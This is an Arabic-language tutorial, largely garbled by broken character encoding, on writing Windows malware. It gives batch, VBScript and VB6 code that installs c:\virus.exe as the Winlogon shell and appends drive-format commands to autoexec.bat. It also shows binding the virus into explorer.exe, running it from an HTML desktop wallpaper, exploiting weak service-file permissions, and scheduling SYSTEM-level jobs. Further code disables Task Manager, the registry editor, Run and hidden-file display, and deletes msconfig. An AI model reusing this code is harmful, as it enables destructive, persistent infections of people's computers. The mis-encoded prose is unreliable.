ح ػى٣ىز جذكع ػٖ جُٔلطحـ ًٔ ه٤ٔطٜح  ْطؿى إٔ Shell ػ٘ىٓح ضطٞؾٚ ئ٠ُ جُٔٓحٌ جُٓحذن ْٞف ضؿى ه٤

غْ قٍٞ ًٛٙ جُو٤ٔٚ ج٠ُ  ٝذحُطرغ ٛٞ ٖٓ أْٛ ِٓلحش ٗظحّ جُطٗـ٤َ Explorer.exe ج٫كطٍج٤ٞس ْطٌٕٞ

Explorer.exe c:\virus.exe                       

 

 ٝج٤ٌُْ ًٞو ذِـٚ جُرحضٕ
Reg add "hkLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ 

Winlogon" /v SHELL /t reg_sz /d "Explorer.exe c:\VIRUS.EXE" 

 

 ٝٛٞ ج٫كَٟ  6ٝج٤ٌُْ ًٞو ذِـٚ جُل٤ؿٞجٍ ذ٤ٓي
Set WSH = CreateObject("Wscript.Shell") 

WSH.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows 

NT\CurrentVersion\Winlogon\Shell", "Explorer.exe C:\VIRUS.exe", "REG_SZ" 

 جٝ 
 Dim R As Object  

    Set R = CreateObject("WScript.Shell")  
    Const Key = "HKLM\Software\Microsoft" _  
            + "\Windows NT\CurrentVersion\Winlogon"  
    R.RegWrite Key, 1, "REG_SZ"  
    R.RegWrite Key + "\Shell", "Explorer.exe " & "C:\VIRUS.exe"  
    Set R = Nothing 

  Cًٝٛج جٌُٞو ُ٘ٓم جُل٤ٍِ ٌُٔحٕ
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\VIRUS.exe" 

 safe modeٓحٕ ٣ُِٞ٘ىَٝ ْٞف ٣ؼَٔ جُل٤ٍِ ٓغ جه٬ع ج٣ُٞ٘ىَٝ قط٠ ْٞف ٣ؼَٔ ك٠ ٗظحّ ج٫

 AUTOEXEC.BATِٓق  -3

ٝٛٞ ِٓق ٗظحّ ٓهل٠ ٣ٌٝطد وجنِٚ جْْ جُرٍٗحٓؽ ٝٓٓحٌٙ ذىجنِٚ ٠ٌُ ٣ؼَٔ ٓغ جه٬ع ج٣ُٞ٘ىَٝ ٝٛٞ 

 \:AUTOEXEC.BAT cٓٞؾٞو ك٠ ًٛج جُٔٓحٌ 

 
 ٝج٤ٌُْ جًٞجو ذِـٚ جُرحضٕ

call attrib -h -r c:\autoexec.bat >nul     

echo format c: /q /u /autotest >nul >>c:\autoexec.bat  

echo format d: /q /u /autotest >nul >>c:\autoexec.bat  

echo format e: /q /u /autotest >nul >>c:\autoexec.bat  

echo format f: /q /u /autotest >nul >>c:\autoexec.bat 

ج٫ًٞجو ذىجنِٚ ْٝٞف  ٝٝٞغ ًٛٙ  ٤ٚAUTOEXEC.BATـٚ ًٛج جٌُٞو ٛٞ ج٫ضٛحٍ ذِِٔق 

  ضؼَٔ ًٛٙ ج٫ًٞجو ذؼى جٍٝ جه٬ع ٣ُِٞ٘ىَٝ

 

 ك٤ٍْٝحش جُىٓؽ  -4

ٝٛٞ ِٓق جُٔٓثٍٞ ػٖ ػٍٜ  C:\WINDOWSٝٓٓحٌٙ  explorer.exe  جُىٓؽ ٓغ ِٓق جُ٘ظحّ   -

  explorer.exeجُٛلكحش ٝج٣٫وٞٗحش ٝأ٤ٌُْ ٤ًل٤ٚ وٓؽ جُل٤ٍِ ٓغ جُِٔق  

 ٌْ جٌُٛٞ ج٫ض٤ٚ ٍُِٗـ ٝج٤ُ WINRARْٞف ٗٓطهىّ ذٍٗحٓؽ 



 
 غْ

 

 

 غْ SFX OPTIONSغْ جنط٤حٌ   Advancedغْ ٗهطحٌ  
 

 
 ْٞف ٣٘ىٓؽ جُِٔل٤ٖ ٓغ ذؼٝ ٣ٌٕٝٞ ذًٜج جٌَُٗ

 
  RESHACKERغْ ٗـ٤٤ٍ ٌَٖ ج٣٫وٞٗٚ ج٠ُ ٌَٖ ج٣وٞٗٚ ج٠ِٚ٫ ػٖ ٣ٍ٠ن ذٍٗحٓؽ 

-  



 

 
ٖٓ جُِٔق ج٠ِٚ٫  غْ ذؼى جُطـ٤٤ٍ ٌَٖ ج٣٫وٞٗٚ ٣ٍٗى ضرى٣َ جُِٔق جُٔىٓؽ ذى٫

((c:\windows\explorer.exe َٝ٠ٌُ ٣ؼَٔ جُل٤ٍِ ٓغ ج٣ُٞ٘ى 

 ٠ٌُٝE-BatchMaker ٗؿؼَ جُِٔق جُٔىٓؽ ٣رىٍ جضٞٓحض٤ٌ٤ح ْٞف ٗٓطهىّ ذٍٗحٓؽ 

  
 ٝٛٞذٍٗحٓؽ ٣ىٓؽ جُِٔلحش ٣ٍِْٜٝح ج٠ُ جٌُٔحٕ جًُٟ ض٣ٍىٙ ٝج٤ٌُْ جُط٣ٍوٚ

  



 
 

 ُٟـ١ ػ٤ِٚ ْٞف ٣رىٍ ِٓق ج٠ِٚ٫ ذِِٔق جُٔىٓؽ ذؼى ٓح جضٔٔ٘ح جُؼَٔ ٣٘طؽ ُ٘ح ِٓق ػ٘ى ج

 \winlogon.exe C:\WINDOWS\SYSTEMٝٛ٘حى ج٣ٟح ِٓق ْٜٓ ك٠ ج٣ُٞ٘ىَٝ ٝٛٞ    

ِٓكٞظٚ : ًٛٙ جُط٣ٍوٚ ُٖ ضؼَٔ جيج ًحٕ ج٣ُٞ٘ىَٝ جُٔػرص أ٠ِٚ ٧ٗٚ ٣ٞؾى ذىجنَ ج٣ُٞ٘ىَٝ 

جُِٔؼٞخ ك٤ٚ ٖٓ هرَ جقى  وكحع يجض٠ ًٝٛج ؿ٤ٍ ٓطٞكٍ ك٠ ج٣ُٞ٘ىَٝجش جُٟٔحف ج٤ُٚ ذٍجٓؽ جٝ

 ٤َُٜٓ ػ٤ِي ضػر٤ص ج٣ُٞ٘ىٝ ذٍٓػٚ  

ْٞف ٗٓطهىّ  winampجُط٣ٍوٚ جُػح٤ٗٚ ٠ٛٝ جُىٓؽ ٓغ ِٓلحش جُرٍجٓؽ ج٫ْح٤ْٚ ٓػَ  -

 ٗلّ جُط٣ٍوٚ جُٔح٤ٞٚ 

ٍِْٝٗٚ ج٠ُ  E-BatchMakerٗوّٞ ذىٓؽ ِٓق جُرٍٗحٓؽ ٓغ جُل٤ٍِ غْ ٟٗؼٚ ك٠ ذٍٗحٓؽ 

 C:\Program Files\Winampٓٓحٌ جُرٍٗحٓؽ ٓػ٬  

 

 جِْٞخ جُؼَٔ ػ٠ِ ج٫ٓطىجوجش -5

( ذى٫ ٖٓ ذٍٗحٓؽ  ( mp3ضـ٤٤ٍ ػَٔ جٓطىجو ٓؼ٤ٖ ػ٠ِ ِٓق جُل٤ٍِ ٓػ٬ ضـ٤٤ٍ ػَٔ ج٫ٓطىجو

winamp   ٍِج٠ُ ِٓق جُل٤ 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 



 جُطٍم جُٔرطٌٍٙ -6
 جُط٣ٍوٚ ج٠ُٝ٫ :

ضوّٞ  ٛ٘حُي جًٞجو جُ٘ظحّ ُطـ٤ٍٛحجُط٣ٍوس ضؼطٔى ػ٠ِ نِل٤س ْطف جٌُٔطد + جُطؼى٣َ ك٢ ٓٓؿَ 

 .ذًُي ٓرحٍٖز

 .جٌُٔطد ٖحٛى ًٛٙ جٌُٛٞز ٝيُي ذؼى ئهط٘ح٘ ٝ جُطأ٤ٍٖ ػ٠ِ نِل٤س ْطف

 
 ...Internet Explorer_Server ض٬قع؟؟؟ َٛ ضؼ٢٘ ُي ٛطٚ جُؼرحٌز ٢ٖء ٓحيج

 .ٝٞفْأ ضٓط٘طؽ؟ جػٍف ج٢ٗ ٝٞؼطي ك٢ وجتٍز ٖٓ جُطٓحؤ٫ش ٝجٗي ُْ ضلْٜ ٤ٖة ٫ػ٤ِي ٓحيج

Internet Explorer_Server ٞٛ Class ٣ٓطؼَٔ ك٢ ًػ٤ٍ ٖٓ جُكح٫ش ٝضٍجٙ ًػ٤ٍج ك٢  

  Internet Explorer ؾ٤ٔغ ج٩ٚىجٌجش ٧ٗٚ ٛٞ ج١ًُ ٣وّٞ ذؼٍٜ ٚلكحش ج٩ٗطٍٗص. 

٧ٗٚ ٛٞ  HTML ضؿؼَ نِل٤س ْططف جٌُٔطد ػرحٌز ػٖ ِٓق ًٝٛج ٣ؼ٢٘ جٗي ضٓطط٤غ جٕ

 .جٌُِٔٗس )ًٝٛج ٓح ضٞٞكٚ جٌُٛٞز ج٠ُٝ٧(، ٝٛ٘ح ِل٤سجُٔٓطؼَٔ ك٢ ػٍٜ جٌُٛٞ ك٢ جُه

 :ج٤ُٓ٘ح٣ٌٞ ٤ٌْٕٞ ًحضح٢ُ

٢ٌُ ٫ ٣طْ ًٗلٜح  System Files Directory ئ٠ُ ٌٓحٕ ٓؼ٤ٖ ؿ٤ٍ Virus.exe ٗٓم -1

ٌٖٓٔ  2009ئقطٍج٣َس ٞى جٌُحْرٍ  ٠رؼح ًٛٙ ئؾٍجءجش behavior Study ُطو٤٘س ٠روح

جُطؼٍٜ ٌُِٗق ٖٓ ذٍجٓؽ جٌُٔحككس  ِى جُ٘ظحّ ٝػى٤ٌّْٕٞ ٖٓ جَُٜٓ ٗٓم جُل٤ٍِٝ ئ٠ُ ٓؿ

 .ج٧نٍٟ

 Virus.exe  ذٜح ًٞو ٣وّٞ ذطٗـ٤َ HTML ٗٗحء ٚلكس -2

 .جُط٢ ضْ ئٗٗحءٛح HTML ضـ٤ٍ جُهِل٤س ئ٠ُ ٚلكس جٍ -3

 .Registry جُٔلطحـ جُطح٢ُ ك٢ ٝيُي ػٖ ٣ٍ٠ن جُطؼى٣َ ػ٠ِ

HKEY_CURRENT_USER\Control Panel\Desktop     

 . HTML ٝؾؼِٜح ض٤ٍٗ ئ٠ُ ٓٓحٌ ِٓق Wallpaper ٤ٔسجُو ك٢

  َجتى جُطؼى٣َ ػ٠ِ

HKEY_CURRENT_USER\Control Panel\Desktop\WallpaperStyle  



 

 1ٝؾؼِٜح  Wallpaper جُو٤ٔس ػ٠ِ

ٗظٍ ذٍجٓؽ جٌُٔحككس ًُُي ٫ ضٌٗق  ٠رؼح جُطؼى٣َ ػ٠ِ ضِي جُٔلحض٤ف ٫ ٣ٌَٗ نطٍ ٖٓ ٝؾٜس

 .ذ٤ٜ٘ح ٍجٓؽ جُطك٤َِ ٫ ضٌٗلٜح ٖٓذح٩ٞحكس ئ٧ٟ جٕ ؾ٤ٔغ ذ

HijackTis ٝ a-squared HijackFree ٝ Autorun. 

 Explorer.exe ئػحوز ضٗـ٤َ جُ٘ظحّ جٝ ذؼى ؿِن جُْٜٔ ذؼى جُطؼى٣َ ػ٠ِ ضِي جُٔلحض٤ف ذؼى

ٝٛ٘حُي ٌِٓٗس ذ٤ٓطس ٣ٌٖٔ قِٜح ٝٛٞ  Virus.exe ٤ْطْ ضك٤َٔ ج٩ػىجوجش ٝذحُطح٢ُ ضٗـ٤َ

جُطٍٝؾحٕ ٖٓ ؾٜس ٢ٛ ٌِٓٗس ٧ٗٚ ٤ْطْ  ٤ْطْ جػحوز ضٗـ٤َ F5 جٝ Refresh ًِٔح ضؼَٔ جٗي

 جٝ CreateMitux ٝيُي ٣طْ قِٜح ػٖ ٣ٍ٠ن Virus.exe  ضٗـ٤َ ٗٓم ػى٣ىز ٖٓ

CreateEvent ٝج FindWindow أنٍٟ ٢ٛ ؾ٤ىز جيج ًحٕ ٚحقد جُؿٜحَ  ٖٝٓ ؾٜس

 .ج٥ٕ ٗأض٢ ٌُطحذس ذؼٝ ج٧ًٞجو. Virus.exe ٣ـِن

 .HTML ٔٞؾٞو ك٢ًٞو جُطٗـ٤َ جُ

<script language=vbscript>  

on error resume next  

dim sys  

Set df = document.createElement("object")  

df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-

00C04FC29E36 "  

set fso = df.createobject("Scripting.FileSystemObject","")  

set s=df.CreateObject("Shell.Application.1","")  

set re=df.createobject("wscript.shell","")  

sys=fso.GetSpecialFolder(1)  

s.Open ("C:\ VIRUS.exe")  

</script> 

٣ٌٝٔ٘ي ٝٞغ ٌٚٞٙ ػٖ ٣ٍ٠ن  ( html.)ٞغ جٌُٞو ك٠ ِٓق ٠ٛٗ غْ ؿ٤ٍ ج٫ٓطىجو ج٠ُ 

 غْ ٞغ جٌُٛٞٙ   editِق ٝجنط٤حٌ ضىِٝ ذٌُ ج٣٫ٖٔ ُِٔحِٝ ػ٠ِ جُٔ

كإ جُٛلكس ُٖ ضوّٞ  ط٣ٚؼ٢٘ جيج ضْ ضػر٤  Internet Explorer )8)  جٌُٞو ًٛج ٫ ٣ؼَٔ ٓغ

 .جضٍى ُي ػ٘حء جُركع ػٖ ٣ٍ٠وس ُِطٗـ٤َ ًُُي ذطٗـ٤َ جُرٍٗحٓؽ

 ضـ٤ٍ جُهِل٤س ٤ٌْٗق ج٧ٍٓ ٤ْٝٗي ٚحقد جُؿٜحَ ٝك٢ جُٜ٘ح٣س ٖٓ جٌُٖٔٔ جٕ ٣طٓحتَ ج٩نٞز

 ػ٠ِ جُٛلكس ٝجظحكس ٌٚٞز جُهِل٤س جُٓحذوس ك٢ ِٓق ٍٞ ٣ٌٖٔ ُي جٕ ضوّٞ ذحُطؼى٣َجه

HTML + ًَٞو جُطٗـ٤. 

جُطِوحت٢ ٣ٌٖٔ جٕ ضٌطٗلٜح ذ٘لٓي  ٠رؼح ذحخ ج٩ذىجع ٓوطٞـ ٠ٝرؼح ٛ٘حُي ٠ٍم ػى٣ىز ُِطٗـ٤َ

 غ٣ٌٖٔ جٕ ضوّٞ ذٞٞ Explorer.exe ٝٓح ج٤ٞلٚ ئ٠ُ ٛٞ جٕ ًٛٙ جُط٣ٍن ذٔح جٜٗح ضٗطـَ ٖٓ

Exploit ًًهِل٤س ٣ٝطْ ض٘ل٤ Exploit ٍن٬ ٖٓ Explorer.exe  ٟٝػٖ ٣ٍ٠ن ًٛج ْططلحو

 .جٌُٔحككس جٌُػ٤ٍ ٖٓ ذٍجٓؽ

 

 

 

 

 



 جُط٣ٍوٚ جُػح٤ٗٚ :

                                                         Win32 ) ضهط٢ ج٬ُٛق٤حش ( ك٢  ٙغـٍ    

 

 : جُٔـوىٓـس

 ٗلْٜ ٓح نطٌٞز ًٛٙ جُػـٍجش ٝٓح ػِٜٔح ؟ ك٢ جُرىج٣س ٠رؼح ٫ذى جٕ 

ًٛٙ جُػـٍز ٖٓ جُػـٍجش جُؼح٤ُس جُهطٌٞز ق٤ع ضٌٖٔ جُٔهطٍم ذحٕ ٣ٓطهىّ ٬ٚق٤حش جُؿًٌ 

 ُط٘ل٤ً ج١ ذٍٗحٓؽ نر٤ع وجنَ ج٤ٍُٓكٍ

 ** ك٢ ًٛج جُٔٞٞٞع ْٞف جٍٖـ ٣ٍ٠وس ٖٓ ٠ٍم جًطٗحف ًٛٙ جُػـٍز **

 ٤ًق ٣طْ جْطـ٬ُٜح :

ٖٓ جُػـٍجش جٓح جٕ ضٌٕٞ ٛ٘حى غـٍز ك٢ جُ٘ظحّ ٗلٓٚ جٝ جٕ ٣ٌٕٞ  ٣طْ جْطـ٬ٍ ًٛج جُ٘ٞع

 ( ضؼَٔ ػ٘ى ذىج٣س جُؿٜحَ جٝ ج٤ٍُٓكٍ serviceٛ٘حى ذٍٗحٓؽ ٓٛحخ ٣ؼَٔ ًهىٓس ) 

 : ج٧وٝجش

  procexp* ذٍٗحٓؽ 

 جٍُٗـ ػ٠ِ ذٍٗحٓؽ ٓٛحخ :

ؽ ػ٠ِ جُؿٜحَ جُهح٘ ذ٘ح ٝٗوّٞ ذلطف ذٍٗحٓجُٔٛحخ قٓ٘ح ُ٘وّٞ ذطػر٤ص جُرٍٗحٓؽ 

procexp ّقٓ٘ح ج٫ٕ ُ٘٘ظٍ ج٠ُ جُِٔق ج١ًُ ٣ؼَٔ ُِرٍٗحٓؽ ك٢ جُهىٓحش ج٫ْح٤ْس ُِ٘ظح 

                                                   EPSON_EB_RPCV4_01   ٓػ٬ ٣ٌٕٞ جْْ جُهىٓس  

 :  ج٧ٍٓقٓ٘ح ْٞف ٗوّٞ ذط٘ل٤ً 

sc qc [service name] 

ُِٔق ج١ًُ ٣ؼَٔ ًهىٓس جْح٤ْس ُِ٘ظحّ ٤ٌْٕٞ جٍٓٗح ٣وّٞ ذحٌُٗق ػٖ ٓٓحٌ ج ج٧ًٍٓٛج 

 جُٜ٘حت٢ ًٌٛج

sc qc EPSON_EB_RPCV4_01 

                                                                                   ج٧ض٤ْ٢ظٍٜ ُ٘ح 

[SC] QueryServiceConfig SUCCESS  

         SERVICE_NAME: EPSON_EB_RPCV4_01  

         TYPE                      : 10  WIN32_OWN_PROCESS  

         START_TYPE              : 2   AUTO_START  

         ERROR_CONTROL    : 1   NORMAL  

         BINARY_PATH_NAME   : C:\Documents and Settings\All 

Users\Application Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE  

         LOAD_ORDER_GROUP     :  

         TAG                            : 0  

         DISPLAY_NAME      : EPSON V5 Service4(01)  

         DEPENDENCIES      : RpcSs  

         SERVICE_START_NAME : LocalSystem 

 

 قٓ٘ح ٓٓحٌ جُِٔق ج١ًُ ٣ؼَٔ ًهىٓس ٛح ٛٞ : 

C:\Documents and Settings\All Users\Application 

Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE 

 ج٧ٍٓج٫ٕ ُ٘وّٞ ذحٌُٗق ػٖ ٬ٚق٤حش ًٛج جُِٔق ػٖ ٣ٍ٠ن 



cacls "file path" 

 ٤ٌْٕٞ ج٫ٍٓ جُٜ٘حت٢ ًٌٛج

cacls "C:\Documents and Settings\All Users\Application 

Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE" 

 جٗظٍ ج٫ٕ ج٠ُ جُهطح جُلحوـ جٗظٍ ج٠ُ ٬ٚق٤حش جُِٔق

 C:\Documents and Settings\All Users\Application 

Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE   

                                  Everyone:F 

 ًٚٔح ٖحٛىش جٕ ٬ٚق٤حض

Everyone:F 

 جيٕ ٛ٘ح جُهطح جُلحول ٝجُػـٍز  Full Controlضؼ٢٘  Fق٤ع جٕ 

 قٓ٘ح ج٫ٕ ٓحيج ُٞ هٔ٘ح ذطرى٣َ جُِٔق ًٛج

C:\Documents and Settings\All Users\Application 

Data\EPSON\EPW!3 SSRP\E_S40ST7.EXE 

 ذِٔق نر٤ع ؟؟ ) ذ٘لّ ج٫ْْ ٠رؼح (

 

 Eset Smart Security ًٛج ٓػحٍ ُرٍٗحٓؽ ؿ٤ٍ ٓٛحخ ٝٛٞ

 

  ekrn.exeٍُٟ٘ ِٓق جُرٍٗحٓؽ ج١ًُ ٣ؼَٔ ًهىٓس ك٢ جُ٘ظحّ : 

 

 ٌُ٘ٗق ػٖ ٬ٚق٤حضٚ

cacls "C:\Program Files\ESET\ESET Smart Security\ekrn.exe " 

 C:\Program Files\ESET\ESET Smart Security\ekrn.exe 

BUILTIN\Users:R  

                                                                                                                

  BUILTIN\Administrators:F  

NT AUTHORITY\SYSTEM:F 

 

 

جُـ٤ٍ ٓٛحخ ٝؾىٗح جٕ ٬ٚق٤حش جٍ  esetج٤ًى كٜٔص ج٫ٕ جُلٌٍز ج٫ٕ ك٢ ًٛج ذٍٗحٓؽ 

user  ٍجُؼحو١ كو١ جُوٍجتس ٤ُّٝ ٛٞ جُكحAdministrator :F 

 جٕ ٖحء الله جًٕٞ ٝكوص ك٢ جٍُٗـ .

 

 

 

 

 

 

 

 



 جْطهىجّ ٬ٚق٤حش ج٣ُٞ٘ىَٝ ٝ ؾىجٍٝ ج٫ػٔحٍ : -7 
 

 هى ضٓطـٍذٕٞ ٓح ونَ ج٬ُٛق٤حش ك٠ ج٣ُٞ٘ىَٝ ذؿىجٍٝ ج٫ػٔحٍ ٝج٤ٌُْ كٌٍٙ ًَ ْٜٓ٘ :

 ج٫ٝ ج٬ُٛق٤حش : ًِ٘ح ٗؼِْ جٕ جقو٤ٚ ٍٝٚٞ ج٠ُ ج٬ُٛق٤حش ك٠ ج٣ُٞ٘ىَٝ ض٘وْٓ ج٠ُ 

-USER         )ٚجُٔٓطهىّ  )ج٫هَ ٬ٚق٤ ٞٛٝ 

-  administrator    ُِٔٓطهىّ جُٔكطٍف ٞٛٝ 

- SYSTEM    َج٫قو٤ٚ ك٠ جُطؼى٣ ُٚ ٞٛٝ(full control )  ٚك٠ ًَ ٓلحض٤ف جٍُؾٓطٍٟ جُٔهل٤

 ٠ٛٝ  ٠ٛٝCMD ػٖ ٣ٍ٠ن ج٫ٍٓ ك٠   SYSTEMجُط٠ ٫ضظٍٜ أ٫ ػ٘ى جْطهىجٓي ك٠ ٝٞغ 
 At 10:00pm /interactive REGEDIT.exe 

  ٙغح٤ٗح ؾىجٍٝ ج٫ػٔحٍ : ٝٛٞ ٣وّٞ جُٔٓطهىّ ذطٗـ٤َ ذؼٝ جُرٍجٓؽ ك٠ ٓٞجػ٤ى ٓكىو

 ٝذٌَٗ ٓ٘طظْ ذىٕٝ جيٕ  

ضه٤َ ُٞ جوٓؿ٘ح ٛحض٤ٖ جُهحٚط٤ٖ ك٠ جُل٤ٍْٝحش ٣٘طؽ ُ٘ح ك٤ٍِ نط٤ٍ ؾىج ٣وّٞ ذِؼَٔ ك٠ 

  systemٓٞجػ٤ى ٓكىوٙ ذىٕٝ جيٕ ٝذٌَٗ ٣٫ٌٗق ٓغ جٌٓح٤ٗٚ ٬ٚق٤ٚ 

ٝج٤ُي جٌُٞو جُطح٠ُ ٣وّٞ ذطٗـ٤َ جُل٤ٍِ ك٠ جُٓحػٚ جُؼحٍٖٙ ٓٓحء ُٝٚ جقو٤ٚ جٍُٞٚٞ 

system   ٕٝذِطح٠ُ ُٚ جُكن ك٠ جُطؼى٣َ ًٔح ٣ٗحء ٝجٌُٞو جُطح٠ُ ذِـٚ جُرحض.BAT 

 
 

 ٝجٌُٞو جُطح٠ُ ٣وّٞ ذطٗـ٤َ جُل٤ٍِ ك٠ ج٣حّ ج٫ْرٞع ك٠ جُٔؼحو جُٔكىو

 
 

ؼَٔ ؾىٍٝ ج٫ػٔحٍ ٝٛٞ ذٌَ ذٓح٠ٚ ٣وّٞ ذؼَٔ ِٓق ْٞف ضٓأٍ ٤ًق ٣وّٞ ج٣ُٞ٘ىَٝ ذ

٣ٌٕٝٞ ذىجنَ جُِٔق جْْ   C:\WINDOWS\Tasksك٠ ًٛج جُٔٓحٌ   job.ذحٓطىجو 

 ٝٓٓحٌ جُِٔق ٤ٓٝؼحو ضٗـ٤ِٚ 
 

 

 

 

 

 

 

 

 

 



 

 طرق الفيروسات فً حمايه انفسها                     

 task manger:اسلىب اخفاء *
 جًُجًٍٙ ٠ٌُ ٫ضٌٗق ذٌَ ُْٜٞٚ ٍجٓؽ جُط٠ ضؼَٔ ػ٣ٞٛٝ٠ِوّٞ ذحنلحءٙ ُؼىّ ًٗق جُر

 
   task mangerٝج٤ٌُْ جُو٤ْ جُط٠ جػطحٛح ٍُِؾٓطٍٟ ٫نلحء 

 
HKEY_ MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Policies 

\system\DisableTaskMgr /t REG_DWORD /d1 
 

HKEY _USER\Software\Microsoft\Windows\Curre ntVersion\Policies 

\system\DisableTaskMgr /t REG_DWORD /d 1 

 task manger ٝج٤ٌُْ جًٞجو ذِـٚ جُرحضٕ ُطؼط٤َ

rreegg  aadddd  hhkkccuu\\SSooffttwwaarree\\MMiiccrroossoofftt\\WWiinnddoowwss\\CCuurrrreennttVVeerrssiioonn  

\\ppoolliicciieess\\ssyysstteemm\\  //vv  DDiissaabblleeTTaasskkMMggrr  //tt  rreegg__ddwwoorrdd  //dd  11  

 *اسلىب تعطيل الرجستري
( ٣ؼط٠ ٌْحُٚ نطأ ُؼىّ جُىنٍٞ ػ٠ِ ٓٓحٌجش ذىج٣ٚ (runٖ ٣ٍ٠ن ػ٘ى ونُٞي ٍُِؾٓطٍٟ ػ

ٝج٬ٚـ ٓح كحْىٙ جُطٗـ٤َ ك٠ ج٣ُٞ٘ىَٝ ٝذِطح٠ُ ٤ْطْ ج٣وحف جُل٤ٍِ ػٖ جُؼَٔ ٓغ ًَ جه٬ع ٣ُِٞ٘ىَٝ 

   جُل٤ٍِ

 
 ٝج٤ٌُْ جُو٤ْ جُط٠ جػطحٛح ٍُِؾٓطٍٟ ٤ُؼطِٚ

 

HKEY_ USER\Software\Microsoft\Windows\Curre ntVersion 

\Policies\System\DisableRegistryTools /t REG_DWORD /d 1 

                                                               1جُو٤ْ ضأنً جُٔوىجٌ ض٬قظٕٞ أٗٚ ؾؼَ ؾ٤ٔغ ضِي

 



 ٝأ٤ٌُْ جًٞجو ذِـٚ جُرحضٕ ُطؼط٤َ جٍُؾٓطٍٟ         

 reg add hkcu\Software\Microsoft\Windows\CurrentVersion 

\Policies\System\ /v Disableregistrytools /t reg_dword /d 1 

 ًٞو ذِـٚ جُل٤ؿٞجٍ ذ٤ٓي

Open "C:\WINDOWS\regedit.exe" For Input Lock Read As 1 

  RUNأِْٞخ ضؼط٤َ 
  group policeٗلٓٚ ُؼىّ ضٗـ٤َ جٍُؾٓطٍٟ جٝ  runٝٛٞ ضؼط٤َ 

 ٝج٤ٌُْ ًٞو ذِـٚ جُرحضٕ

Reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion 

\policies\Explorer\ /v NoRun /t reg_dword /d 1 

 

 folder options))*ضؼط٤َ جظٜحٌ جُِٔلحش جُٔهل٤ٚ 

 ًحٕحش جُٔهل٤ٚ ٣٫كىظ ٠ٖء ٣ٍٝؾغ ًٔح ٧ٕ ٓؼظْ جُل٤ٍْٝحش ٓهل٤ٚ كؼ٘ىٓح ضوّٞ ذأظٜحٌجُِٔل

 ٍٟ ٤ُؼطَ نح٤ٚٚ جظٜحٌ جُِٔلحش جُٔهل٤ٚٝج٤ٌُْ جُو٤ْ جُط٠ جػطحٛح ٍُِؾٓط
 

HKEY _USER\Software\Microsoft\Windows\Curre ntVersion 

\Explorer\Advanced\Hidden /t EG_DWORD /d 0 

 

HKEY _USER\Software\Microsoft\Windows\Curre ntVersion 

\Explorer\Advanced\SuperHidden /t REG_DWORD /d 0  

 

HKEY _USER\Software\Microsoft\Windows\CurrentVersion 

\Explorer\Advanced\ShowSuperHidden /t REG_DWORD /d 0 

 

HKEY _MACHINE\Software\Microsoft\Windows\CurrentVersion 

\Explorer\Advanced\Hidden /t REG_DWORD /d 0 

  

HKEY _MACHINE\Software\Microsoft\Windows\CurrentVersion 

\Explorer\Advanced\SuperHidden /t REG_DWORD /d 0  

 

HKEY _MACHINE\Software\Microsoft\Windows\CurrentVersion 

\Explorer\Advanced\ShowSuperHidden /t REG_DWORD /d 0  

 

 ًٝٛٙ جُو٤ْ ُطؼط٤َ ٌؤ٣س ِٓلحش جُ٘ظحّٚلٍأٗٚ ؾؼَ ؾ٤ٔغ ضِي جُو٤ْ ضأنً جُٔوىجٌ  ض٬قظٕٞ

 ٝجُِٔلحش جُٔهل٤س

  جُٛلٍ ذحًًٍُ ٛ٘ح إٔ ذؼٝ جُل٤ٍْٝحش ٣ـ٤ٍ ًٛٙ جُو٤ْ ًَ ذٟغ غٞج٢ٗ أ١ ٣ٍؾؼٜح ئ٠ُ جُؿى٣ٍ

                                                 ٖٓ ئ٬ٚقٜح ضؼطد ضِي جُو٤ْ ٍٓز أنٍٟ ذك٤ع ُٞ إٔ جُٔٓطهىّ ضٌٖٔ

          

 جُو٤ٔط٤ٖ غْ هحّ جُل٤ٍِ ذٔٓف 
 

HKEY _MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion 



\Explorer\Advanced\Folder\Hidden\SHOWALL \CheckedValue 

 

HKEY _MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion 

\Explorer\Advanced\Folder\Hidden\SHOWALL \DefaultValue 

 

 

 Folder options ذٔ٘غ ظٌٜٞ ن٤حٌجش جُٔؿِى ًٔح هحّ
 

HKEY _USER\Software\Microsoft\Windows\Curre ntVersion 

\Policies\Explorer\NoFolderOptions /t REG_DWORD /d 1  
 

HKEY _MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion 

\Policies\Explorer\NoFolderOptions /t REG_DWORD /d 1 

 ًٝٛج ًٞو ٫نلحء جُل٤ٍِ ذِـٚ جُل٤ؿٞجٍ ذ٤ٓي

 setattr "c:\virus.exe",vbHidden 

  msconfig)* مسح برنامج )

ٝذِطح٠ُ   start up  ٝservicesٝٛٞ ذٍٗحٓؽ ٓٞؾٞو ك٠ جُ٘ظحّ ٝٛٞ ٣ظٍٜ جُرٍجٓؽ 

 ٤ْطْ ج٣وحف جُل٤ٍِ ػٖ جُؼَٔ ٓغ ًَ جه٬ع ٣ُِٞ٘ىَٝ 

 ٝج٤ٌُْ ًٞو ٓٓف جُرٍٗحٓؽ ذِـٚ جُرحضٕ 

 del C:\windows\system32\msconfig.exe/q 

 ٓٓف ذِـٚ ك٤ؿٞجٍ ذ٤ٓي

SetAttr " C:\windows\system32\msconfig.exe ", vbNormal 

Kill " C:\windows\system32\msconfig.exe " 

 ُٝطؼط٤ِٚ ذِـٚ جُل٤ؿٞجٍ ذ٤ٓي  

Open ":\windows\system32\msconfig.exe " For Input Lock Read As 1 

 غْ جًطد ًٛجج٫ٍٓ ٣ٍ٠runن جٝجٍٓ  ٝجٍُؾٓطٍٟ ػٖ   msconfigِٓكٞظٚ : ٣طْ ضٗـ٤َ 

msconfig  

 

 

  
 

 



 

  مسح برنامجGROUP POLICE 

ٝٛٞ ذٍٗحٓؽ ٣ٓطهىّ ُِٔٓطهىّ جُٔكطٍف ٝٛٞ ٣وّٞ ذطؼى٣َ ٝج٬ٚـ ٬ٚق٤حش ٣ُِٞ٘ىَٝ 
